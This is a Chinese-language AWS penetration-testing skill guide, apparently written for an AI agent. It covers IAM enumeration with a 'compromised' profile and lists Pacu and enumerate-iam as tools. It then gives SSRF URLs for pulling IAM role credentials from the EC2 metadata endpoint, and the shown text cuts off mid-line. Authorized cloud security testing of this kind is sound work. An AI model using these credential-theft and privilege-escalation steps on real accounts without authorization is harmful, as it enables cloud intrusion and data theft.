[ PROMPT_NODE_27598 ]
AWS Penetration Testing
[ SKILL_DOCUMENTATION ]
# AWS 渗透测试
## 目的
提供渗透测试 AWS 云环境的综合技术。涵盖 IAM 枚举、权限提升、针对元数据端点的 SSRF、S3 存储桶利用、Lambda 代码提取以及红队操作的持久化技术。
## 输入/先决条件
- 配置了凭据的 AWS CLI
- 有效的 AWS 凭据(即使是低权限)
- 对 AWS IAM 模型的理解
- Python 3, boto3 库
- 工具:Pacu, Prowler, ScoutSuite, SkyArk
## 输出/交付物
- IAM 权限提升路径
- 提取的凭据和密钥
- 被入侵的 EC2/Lambda/S3 资源
- 持久化机制
- 安全审计发现
---
## 必备工具
| 工具 | 用途 | 安装 |
|------|---------|--------------|
| Pacu | AWS 利用框架 | `git clone https://github.com/RhinoSecurityLabs/pacu` |
| SkyArk | 影子管理员发现 | `Import-Module .SkyArk.ps1` |
| Prowler | 安全审计 | `pip install prowler` |
| ScoutSuite | 多云审计 | `pip install scoutsuite` |
| enumerate-iam | 权限枚举 | `git clone https://github.com/andresriancho/enumerate-iam` |
| Principal Mapper | IAM 分析 | `pip install principalmapper` |
---
## 核心工作流
### 第 1 步:初始枚举
识别被入侵的身份和权限:
bash
# 检查当前身份
aws sts get-caller-identity
# 配置配置文件
aws configure --profile compromised
# 列出访问密钥
aws iam list-access-keys
# 枚举权限
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
### 第 2 步:IAM 枚举
bash
# 列出所有用户
aws iam list-users
# 列出用户的组
aws iam list-groups-for-user --user-name TARGET_USER
# 列出附加策略
aws iam list-attached-user-policies --user-name TARGET_USER
# 列出内联策略
aws iam list-user-policies --user-name TARGET_USER
# 获取策略详情
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# 列出角色
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
### 第 3 步:元数据 SSRF (EC2)
利用 SSRF 访问元数据端点 (IMDSv1):
bash
# 访问元数据端点
http://169.254.169.254/latest/meta-data/
# 获取 IAM 角色名称
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 提取临时凭据
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Re